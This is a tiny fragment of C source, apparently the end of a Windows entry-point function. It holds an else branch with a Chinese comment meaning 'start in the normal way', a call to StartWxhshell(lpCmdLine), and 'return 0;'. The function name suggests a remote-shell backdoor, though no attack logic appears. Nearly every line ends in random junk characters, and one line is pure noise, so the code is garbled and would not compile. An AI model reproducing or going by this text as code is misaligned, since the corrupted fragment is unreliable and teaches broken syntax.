else =4$ErwI_dm
// 普通方式启动 %P7qA
StartWxhshell(lpCmdLine); >6R3KJe
r )HZaq
return 0; /9=r.Vxh
}